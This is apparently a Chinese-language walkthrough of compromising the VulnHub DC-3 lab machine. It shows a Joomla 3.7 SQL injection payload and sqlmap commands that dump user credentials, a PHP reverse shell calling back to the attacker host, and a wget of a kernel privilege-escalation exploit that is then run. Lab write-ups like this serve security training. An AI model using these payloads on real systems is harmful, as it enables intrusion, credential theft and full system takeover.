环境准备
dc-3靶机下载链接:
https://download.vulnhub.com/dc/DC-3-2.zip
启动靶机遇到的问题解决文章在下面
kali最新版 dc-3靶机 两台机器都在vmware上运行 网络设置NAT模式
渗透过程
信息收集
首先使用ifconfig获取kali的IP地址

可以看到 kali的ip为192.168.52.129
接下来使用nmap扫描当前网段活跃主机
nmap -sn 192.168.52.0/24

这里可以看到 dc-3靶机的ip应该是192.168.52.130
继续使用nmap进行下一步的信息收集
nmap -sV -p- 192.168.52.130
进行服务的版本检测和全端口扫描

可以看到 只开放了80端口
那么我们访问一下看看有什么东西

收集一下网站的指纹信息吧
我这边用的是一个火狐的插件-Wappalyzer

可以看到,这边用的是Joomiacms系统
kali上还存在一个专门针对它的漏洞扫描工具Joomscan
joomscan --url http://192.168.52.130

可以看到版本号为3.70

还发现了一个后台地址
漏洞利用

去网上搜了一下,发现3.7是存在一个注入漏洞的尝试复现
直接用的网上的payload
index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x3a,concat(1,(select%20user())),1)%20--+

用户名爆出来了
接下来用sqlmap
sqlmap -u "http://192.168.52.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" --dbs

应该是joomladb这个数据库
python sqlmap.py -u "http://192.168.52.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" -D joomladb --tables

表爆的有点多呀,时间问题就不一个一个试了就是在__users表里
python sqlmap.py -u "http://192.168.52.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" -D "joomladb" -T "#__users" -C "username,password" --dump

这里解密出来是snoopy
因为我这边出了一点问题解密过程就不演示了
咱们拿着这个账号密码去登陆后台

也是成功登录进来了
反弹shell



将代码修改为反弹shell的代码
#当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。 <?php $sock = fsockopen("192.168.52.129", "1433"); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, pipes); proc_close(process); ?>
然后点击save保存

然后访问index.php的同时 kali接收1433端口反弹的数据


成功接收
python -c "import pty;pty.spawn('/bin/bash')"
//使用python 弄一个交互式终端

提权
输入whoami发现是个低权限用户,想办法提权
cat /etc/*release #查看发行版信息 cat /proc/version #查看内核版本的全部信息


Ubuntu 16.04 LTS 内核为Linux 4.4.0-21
查看kali本地漏洞库里面的exp
searchsploit Ubuntu 16.04

39772.txt可以用
查看exp
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

最后有exp地址

在kali中开启apache
systemctl start apache2.service
移动刚刚下载的文件到指定目录
mv 39772.zip /var/www/html

文件下载链接为 http://192.168.52.129/39772.zip
在dc-3的shell中下载该文件
wget http://192.168.52.129/39772.zip

解压exp文件
unzip 39772.zip #解压39772.zip cd 39772 #进入39772 tar -xvf exploit.tar #解压缩exploit.tar

进入 ebpf_mapfd_doubleput_exploit 运行exp
cd ebpf_mapfd_doubleput_exploit
运行方法

./compile.sh ./doubleput



找寻flag
